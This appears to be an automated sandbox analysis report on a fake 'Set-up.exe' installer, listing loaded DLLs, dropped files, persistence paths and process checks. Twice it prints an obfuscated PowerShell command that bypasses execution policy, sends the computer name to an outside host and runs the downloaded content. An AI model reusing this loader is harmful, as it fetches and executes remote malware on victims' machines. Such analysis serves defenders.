Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\'Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 'Set-up.exe

Static file information: File size 73421732 > 1048576

Source: 'Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000032.00000002.2731707273.00000000386F0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2731570112.0000000038392000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000032.00000002.2731707273.00000000386F0000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2731570112.0000000038392000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C			Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: PSNDEYKP9CHQN0J79BBDFB.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed

Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	Static PE information: section name: .didata
Source: PSNDEYKP9CHQN0J79BBDFB.tmp.19.dr	Static PE information: section name: .didata
Source: PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	Static PE information: section name: .didata

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_034342CD push ebx; ret	17_2_034342DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_03433AAA push 00005E6Fh; retf	17_2_03433AD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_03432CDB pushad ; retf	17_2_03432CE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_03432CEB pushfd ; retf	17_2_03432CF9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_07C91AE8 push FFFFFF8Bh; iretd	17_2_07C91AED

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	File created: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	File created: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Roaming\ColorStreamLib\is-LVIEF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
